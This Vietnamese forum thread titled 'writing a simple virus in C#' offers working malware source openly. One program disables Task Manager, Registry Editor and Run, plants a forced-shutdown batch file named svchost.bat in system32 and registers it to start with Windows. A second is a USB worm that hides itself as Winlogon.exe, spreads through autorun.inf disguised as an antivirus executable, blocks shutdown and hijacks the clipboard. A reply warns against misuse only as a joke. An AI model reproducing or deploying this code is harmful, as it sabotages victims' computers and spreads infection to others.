Đăng Nhập

Vui lòng khai báo chính xác tên truy cập và mật khẩu!

Quên mật khẩu?

    Viết virus đơn giản bằng c#

      Admin
      Admin

      Giới tính : Nam

      Đến từ : TPHCM

      Ngày Tham gia : 03/04/2011

      Tổng số bài gửi : 2292

      #1

       Thu May 31, 2012 12:47 am

      Chức năng tự tắt máy và khóa registry,chuột phải desktop,run,taskmanager
      Code:
      using System;
      using System.Collections.Generic;
      using System.Linq;
      using System.Text;
      using Microsoft.Win32;
      using System.IO;
      using System.Diagnostics;
      namespace TracNghiemCsharp
      {
          class Program
          {
              static void Main(string[] args)
              {

                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoViewContextMenu", 1, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoFolderOptions", 1, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "Mr.Tin", 1, Microsoft.Win32.RegistryValueKind.DWord);
                 
                  StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat");
                  string s = "shutdown/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34;
                  sw.Write(s.ToString());
                  sw.Close();

                  foreach (Process proc in Process.GetProcesses())
                  {
                      if (proc.ProcessName == "explorer") proc.Kill();
                  }
                  System.Diagnostics.Process.Start("explorer.exe");
                  System.Diagnostics.Process.Start("shutdown", "/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34);
                  Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "svchost", "C:\\windows\\system32\\svchost.bat", Microsoft.Win32.RegistryValueKind.String);
                  Console.Write("chuc mung ban da dinh virus HIV ");
                  Console.ReadLine();
              }
          }
      }

      File fix
      Code:
      using System;
      using System.Collections.Generic;
      using System.Linq;
      using System.Text;
      using Microsoft.Win32;
      using System.IO;
      using System.Diagnostics;
      namespace TracNghiemCsharp
      {
          class Program
          {
              static void Main(string[] args)
              {

                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoRun", 0, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableRegistryTools", 0, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", 0, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoViewContextMenu", 0, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoFolderOptions", 0, Microsoft.Win32.RegistryValueKind.DWord);
                  Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "Mr.Tin", 0, Microsoft.Win32.RegistryValueKind.DWord);
                 
                 
                  System.Diagnostics.Process.Start("shutdown", "/a");
                  Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "svchost", "", Microsoft.Win32.RegistryValueKind.String);
                  Console.Write("chuc mung ban da thoat khoi virus HIV ");
                  Console.ReadLine();
              }
          }
      }


      demo
      Code:

      http://www.mediafire.com/?fykynzzzztg
      Admin
      Admin

      Giới tính : Nam

      Đến từ : TPHCM

      Ngày Tham gia : 03/04/2011

      Tổng số bài gửi : 2292

      #2

       Thu May 31, 2012 12:50 am

      Code:

        Trước tiên chung ta cần điểm lại 1 chút về ngôn ngữ C#.
        // Đây là chú thích theo dòng
       
      /*  Đây là chú thích theo khối
      */
        Các bạn có thể thấy rất giống C++, điều đó là dễ hiểu bởi C# còn được gọi là C++++ mà.
        Còn các vòng for, do .. while, while. Điều kiện : if else thi van dc giữ nguyên
       
        Các tính năng kỹ thuật:
       Ẩn taskmanager
      Ko cho shutdown
      Khi copy và paste thì chỉ hiện ra dòng chữ : Hacked by hacker_black_hat
      Tìm kiếm USB và thâm nhập
      Khởi động cùng Windows
          Chỉ với bằng ấy tính năng cũng đủ làm cho những người có trinh độ tin học bình thường thấy hoảng rùi. he he...

        Chỉ có 1 hạn chế lớn nhất của con virus này là chỉ hoạt động dc trên máy tính có cài .NET farmework
        Sau đây là toàn bộ đoạn code cua con virus:
       
      //Mấy câu lệnh này giống như #include của C++ thui
      using System;
      using System.Collections.Generic;
      using System.ComponentModel;
      using System.Data;
      using System.Drawing;
      using System.Linq;
      using System.Text;
      using System.Windows.Forms;
      using Microsoft.Win32;
      using System.IO;

      //////////////////////////////////////////
      // Bao toàn bộ đoạn mã là 1 namespace
      namespace Virus
      {
          public partial class Form1 : Form
          {
      //Khai biến của các đường dẫn để sử dung trong toàn bộ chương trình
              public string path_sys ,filename,path_cur ;
              ///////////////////////////////
              public Form1()
              {
                  InitializeComponent();
              }
      // Khi chương trình dc kích hoạt thì đoạn mã này sẽ đc chạy đầu tiên
      // may cau lenh nay chi dung de lay ten cua file ma thui
              private void Form1_Load(object sender, EventArgs e)
              {
                  string file_path2, file_path3, file_path4;
                  path_sys = @"C:\WINDOWS\pchealth\";
                  path_cur = Convert.ToString(System.IO.Directory.GetCurrentDirectory()) + @"\";
                 
                  file_path2 = path_cur  + "Bkav.exe";
                  file_path3 = path_cur  + "Winlogon.exe";
                  file_path4 = path_cur  + "Virus.exe";

                  if (System.IO.File.Exists(file_path2))
                      filename = "Bkav.exe";

                  if (System.IO.File.Exists(file_path3))
                      filename = "Winlogon.exe";

                  if (System.IO.File.Exists(file_path4))
                      filename = "Virus.exe";

              }

      ////////////////////////////////////////////////////////////////////////////////
              private void timer1_Tick(object sender, EventArgs e)
              {
                 
                 
                  // An chuong trinh
      // Dong mã này sẽ gọi 1 hàm an chuong trinh va thực thi nó
                  an_programe();
      //////////////////////////////////
                  // Cho Virus hien hinh
                  System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                  ///////////////////////////////////////////////////////
                  // Kiem tra xem chuong trinh co o trong USB hay ko?
                  string get_disk, get_usb_path;
                  get_disk = Convert.ToString(System.IO.Path.GetPathRoot(path_cur));
                  get_usb_path = path_cur + @"\Bkav.exe";
                  if (get_disk == @"F:\")
                  {
                      try
                      {// Tao 1 file autorun trong USB
                          AutorunFile(@"F\");
                          autorunbat(@"F:\");
                          if (!System.IO.Directory.Exists(path_sys + @"Winlogon.exe"))
                          {
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Normal);
                              System.IO.File.Copy(get_usb_path, path_sys + @"Winlogon.exe");
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Hidden  );
                          }
                         
                      }
                      catch( Exception a)
                      {
                      }

                  }

                  if (get_disk == @"H:\")
                  {
                      try
                      {// Tao 1 file autorun trong USB
                          AutorunFile(@"H:\");
                          autorunbat(@"H:\");
                          if (!System.IO.Directory.Exists(path_sys + @"Winlogon.exe"))
                          {
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Normal);
                              System.IO.File.Copy(get_usb_path, path_sys + @"Winlogon.exe");
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Hidden);
                          }
                         
                      }
                      catch (Exception a)
                      {
                      }

                  }
                  if (get_disk == @"G:\")
                  {
                      try
                      {// Tao 1 file autorun trong USB
                          AutorunFile(@"G:\");
                          autorunbat(@"G:\");
                          if (!System.IO.Directory.Exists(path_sys + @"Winlogon.exe"))
                          {
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Normal);
                              System.IO.File.Copy(get_usb_path, path_sys + @"Winlogon.exe");
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Hidden);
                          }
                         
                      }
                      catch (Exception a)
                      {
                      }

                  }
                  if (get_disk == @"I:\")
                  {
                      try
                      {// Tao 1 file autorun trong USB
                          AutorunFile(@"I:\");
                          autorunbat(@"I:\");
                          if (!System.IO.Directory.Exists(path_sys + @"Winlogon.exe"))
                          {
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Normal);
                              System.IO.File.Copy(get_usb_path, path_sys + @"Winlogon.exe");
                              System.IO.File.SetAttributes(get_usb_path, FileAttributes.Hidden);
                          }
                         
                      }
                      catch (Exception a)
                      {
                      }


                  }
                  //Ket thuc phan xu ly truong trinh chay trong USB
                  //////////////////////////////////////////////////////////////////////
                      // di chuyen file vao folder he thong
                  if (path_cur != path_sys)
                  {
                      di_chuyen_file();
                     
                  }
                 
                 
                  //////////////////////////////////////////////////
                  // Phat hien USB va copy file vao USB
                  //********************************
                  try
                  {
                      if ((!System.IO.Directory.Exists(@"F:\Bkav.exe")) || (!System.IO.Directory.Exists(@"F:\autorun.inf")) || (!System.IO.Directory.Exists(@"F:\USB Manager.bat")))
                      {
                              AutorunFile(@"F:\");
                              autorunbat(@"F:\");
                              System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                              System.IO.File.Copy(path_cur + filename, @"F:\Bkav.exe");
                              System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Hidden);
                              System.IO.File.SetAttributes(@"F:\Bkav.exe", FileAttributes.Hidden);
                      }

                  }
                  catch (Exception a)
                  {// Cho Virus hien hinh
                      System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                  }
                  //********************************
                  try
                  {

                      if ((!System.IO.Directory.Exists(@"H:\Bkav.exe")) || (!System.IO.Directory.Exists(@"H:\autorun.inf")) || (!System.IO.Directory.Exists(@"H:\USB Manager.bat")))
                      {
                          AutorunFile(@"H:\");
                          autorunbat(@"H:\");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                          System.IO.File.Copy(path_cur + filename, @"H:\Bkav.exe");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Hidden);
                          System.IO.File.SetAttributes(@"H:\Bkav.exe", FileAttributes.Hidden);
                      }
                  }
                  catch ( Exception a)
                  {
                      // Cho Virus hien hinh
                      System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                  }
                  //********************************
                  try
                  {

                      if ((!System.IO.Directory.Exists(@"G:\Bkav.exe")) || (!System.IO.Directory.Exists(@"G:\autorun.inf")) || (!System.IO.Directory.Exists(@"G:\USB Manager.bat")))
                      {
                          AutorunFile(@"G:\");
                          autorunbat(@"G:\");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                          System.IO.File.Copy(path_cur + filename, @"G:\Bkav.exe");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Hidden);
                          System.IO.File.SetAttributes(@"G:\Bkav.exe", FileAttributes.Hidden);
                      }
                  }
                  catch ( Exception a)
                  {
                      // Cho Virus hien hinh
                      System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                  }
                  //********************************
                  try
                  {
                      if ((!System.IO.Directory.Exists(@"I:\Bkav.exe")) || (!System.IO.Directory.Exists(@"I:\autorun.inf")) || (!System.IO.Directory.Exists(@"I:\USB Manager.bat")))
                      {
                          AutorunFile(@"I:\");
                          autorunbat(@"I:\");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                          System.IO.File.Copy(path_cur + filename, @"I:\Bkav.exe");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Hidden);
                          System.IO.File.SetAttributes(@"I:\Bkav.exe", FileAttributes.Hidden);
                      }


                  }
                  catch (Exception a)
                  {
                      // Cho Virus hien hinh
                      System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                   
                  }
              //*******************************

               

                  ////////////////////////////////////////////////////
                  // Mac dinh text cho Clipboard
                  try
                  {
                      if (Convert.ToString(Clipboard.GetText()) != "Hacked by hacker_black_hat")
                          Clipboard.SetText("Hacked by hacker_black_hat");
                  }
                  catch (Exception a)
                  {
                  }
                  /////////////////////////////////////////////////////

                  //************an task manager va regedit
                  int dieukien1;
                  dieukien1 = an_task_regedit();

                  if (dieukien1 == 0)
                  {
                      RegistryKey hkcu = Registry.CurrentUser;
                      RegistryKey cusoftware = hkcu.OpenSubKey("Software", true);
                      RegistryKey cumicrosoft = cusoftware.OpenSubKey("Microsoft", true);
                      RegistryKey cuwindows = cumicrosoft.OpenSubKey("Windows", true);
                      RegistryKey cucurrentversion = cuwindows.OpenSubKey("CurrentVersion", true);
                      RegistryKey cupolicies = cucurrentversion.OpenSubKey("Policies", true);
                      RegistryKey cuexplorer = cupolicies.OpenSubKey("Explorer", true);
                      // khong cho shutdown
                      cuexplorer.SetValue("NoClose", "1");
                      RegistryKey cusystem = cupolicies.CreateSubKey("System");
                      // Tat taskmanager va regedit
                      cusystem.SetValue("DisableRegistryTools", "1");
                      cuexplorer.SetValue("DisableRegistryTools", "1");
                      cusystem.SetValue("DisableTaskMgr", "1");
                      cusystem.Close();
                      cuexplorer.Close();

                  }

                  //////////////////////////////////////////////////////////////

                  // khoi dong cung windows

                  int dieukien2;
                  dieukien2 = khoi_dong_cung_win();
                  if (dieukien2 == 0)
                  {
                      //Dang ky khoi dong cung windows
                      RegistryKey hklm = Registry.LocalMachine;
                      RegistryKey hksoftware = hklm.OpenSubKey("Software", true);
                      RegistryKey hkmicrosoft = hksoftware.OpenSubKey("Microsoft", true);
                      RegistryKey hkwindows = hkmicrosoft.OpenSubKey("Windows", true);
                      RegistryKey hkcurrentversion = hkwindows.OpenSubKey("CurrentVersion", true);
                      RegistryKey hkrun = hkcurrentversion.OpenSubKey("Run", true);
                      hkrun.SetValue(" Winlogon ", path_sys + @"Winlogon.exe");
                      hkrun.Close();

                  }
                  ////////////////////////////////////////////////////////////
                  // An file exe
                  System.IO.File.SetAttributes(path_cur + filename, System.IO.FileAttributes.Hidden);

              }

              public void an_programe()
              {
                  this.SetVisibleCore(false);
                  this.Visible = false;
                  this.Hide();
               

              }

              public void AutorunFile(string AutorunPath)
              {
                  string autopath;
                  autopath =AutorunPath + @"autorun.inf";
                  try
                  {
                      if (!Directory.Exists(autopath))
                      {
                          StreamWriter mystream = new StreamWriter(autopath);
                          mystream.WriteLine("[autorun]");
                          mystream.WriteLine("open=Bkav.exe"); mystream.WriteLine(@"icon=Bkav.ico");
                          mystream.Close();
                          System.IO.File.SetAttributes(AutorunPath + @"autorun.inf", System.IO.FileAttributes.Hidden);
                      }
                  }
                  catch (Exception a)
                  {

                  }
                     
                     
                 
               
              }
              public void autorunbat(string batpath)
              {
                  string bat_path;
                  bat_path = batpath + @"USB Manager.bat";
                  try
                  {
                      if (!Directory.Exists(bat_path))
                      {
                          StreamWriter mystream = new StreamWriter(bat_path);
                          mystream.WriteLine("@echo Loading CD");
                          mystream.WriteLine("@start Bkav.exe");
                          mystream.WriteLine("@cls");
                          mystream.WriteLine("@exit");
                          mystream.Close();

                      }
                  }
                  catch (Exception a)
                  {
                  }

              }

              public void di_chuyen_file()
              {
                  path_sys = @"C:\WINDOWS\pchealth\";
                  path_cur = Convert.ToString(System.IO.Directory.GetCurrentDirectory()) + @"\";
                  try
                  {
                      if (!System.IO.Directory.Exists(path_sys + @"Winlogon.exe"))
                      {

                          System.IO.File.Copy(path_cur + filename, path_sys + @"Winlogon.exe");
                          System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Hidden);
                          System.IO.File.SetAttributes(path_sys + @"Winlogon.exe", FileAttributes.Hidden);
                      }
                  }

                  catch (Exception af)
                  {
                      // Cho Virus hien hinh
                      System.IO.File.SetAttributes(path_cur + filename, FileAttributes.Normal);
                  }

              }

              public int khoi_dong_cung_win()
              {

                  //Dang ky khoi dong cung windows
                  RegistryKey hklm = Registry.LocalMachine;
                  RegistryKey hksoftware = hklm.OpenSubKey("Software");
                  RegistryKey hkmicrosoft = hksoftware.OpenSubKey("Microsoft");
                  RegistryKey hkwindows = hkmicrosoft.OpenSubKey("Windows");
                  RegistryKey hkcurrentversion = hkwindows.OpenSubKey("CurrentVersion");
                  RegistryKey hkrun = hkcurrentversion.OpenSubKey("Run");
                  try
                  {
                      string a;
                      a = Convert.ToString(hkrun.GetValue(" Winlogon "));
                      if (a != (path_sys + @"Winlogon.exe"))
                          return 0;
                      hkrun.Close();
                  }
                  catch (Exception e)
                  {
                      hkrun.Close();
                      return 0;

                  }

                  // Mac dinh reutrn la : 1
                  return 1;
              }


              public int an_task_regedit()
              {

                  RegistryKey hkcu = Registry.CurrentUser;
                  RegistryKey cusoftware = hkcu.OpenSubKey("Software", true);
                  RegistryKey cumicrosoft = cusoftware.OpenSubKey("Microsoft", true);
                  RegistryKey cuwindows = cumicrosoft.OpenSubKey("Windows", true);
                  RegistryKey cucurrentversion = cuwindows.OpenSubKey("CurrentVersion", true);
                  RegistryKey cupolicies = cucurrentversion.OpenSubKey("Policies", true);
                  RegistryKey cuexplorer = cupolicies.OpenSubKey("Explorer", true);
                  RegistryKey cusystem = cupolicies.CreateSubKey("System");
                  try
                  {
                      int a, b, c;
                      a = Convert.ToInt32(cusystem.GetValue("DisableTaskMgr"));
                      b = Convert.ToInt32(cuexplorer.GetValue("Noclose"));
                      c = Convert.ToInt32(cusystem.GetValue("DisableRegistryTools"));
                      cusystem.Close();
                      cuexplorer.Close();
                      if (a != 1) return 0;
                      if (b != 1) return 0;
                      if (c != 1) return 0;
                  }
                  catch (Exception e)
                  {
                      return 0;
                  }
                  // Mac dinh return la : 1
                  return 1;
              }

                   
       
          }
      }

       
      Tony Stark

      Giới tính : Nam

      Tuổi : 31

      Đến từ : Cần thơ

      Ngày Tham gia : 10/01/2012

      Tổng số bài gửi : 750

      #3

       Thu May 31, 2012 7:40 am

      cấm sử dụng code với mục đích xấu nhé các bạn.có bị đánh thì khai admin chỉ nha kaka
      #4